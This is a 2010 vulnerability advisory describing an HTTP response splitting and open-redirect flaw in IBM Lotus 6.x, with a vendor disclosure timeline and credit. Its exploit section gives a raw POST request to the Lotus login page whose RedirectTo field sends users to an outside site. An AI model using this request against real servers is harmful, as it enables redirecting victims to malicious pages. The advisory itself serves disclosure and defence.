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IBM Lotus 6.x HTTP Response Splitting Vulnerability



IBM Lotus 6.x HTTP Response Splitting Vulnerability
IBM Lotus 6.x HTTP Response Splitting Vulnerability



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Yaniv Miron aka "Lament" Advisory March 12, 2010=0D
IBM Lotus 6.x HTTP Response Splitting Vulnerability=0D
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I. BACKGROUND=0D
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IBM Lotus Software delivers robust collaboration software that empowers=0D
people to connect, collaborate, and innovate while optimizing the way they=0D
work. With Lotus you can drive better business outcomes through=0D
smarter collaboration.=0D
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http://www-01.ibm.com/software/lotus/=0D 
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II. DESCRIPTION=0D
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A malicious attacker may redirect users from the IBM Lotus application.=0D
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III. ANALYSIS=0D
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Exploitation of this vulnerability results in the redirection of users using a malicious POST.=0D
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IV. EXPLOIT=0D
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POST /names.nsf?Login HTTP/1.1=0D
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Connection: Keep-Alive=0D
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%25%25ModDate=xxxxxxxxxxxxxxxx&Username=yyyy+zzzz&Password=aaaaaa&RedirectTo=http://www.RedirectExample.com&SaveOptions=0&...=0D 
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V. DISCLOSURE TIMELINE=0D
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Jan 2009 Vulnerability found=0D
Jan 2009 Vendor Notification=0D
March 2010 Public Disclosure=0D
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VI. CREDIT=0D
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Yaniv Miron aka "Lament".=0D
lament@ilhack.org 


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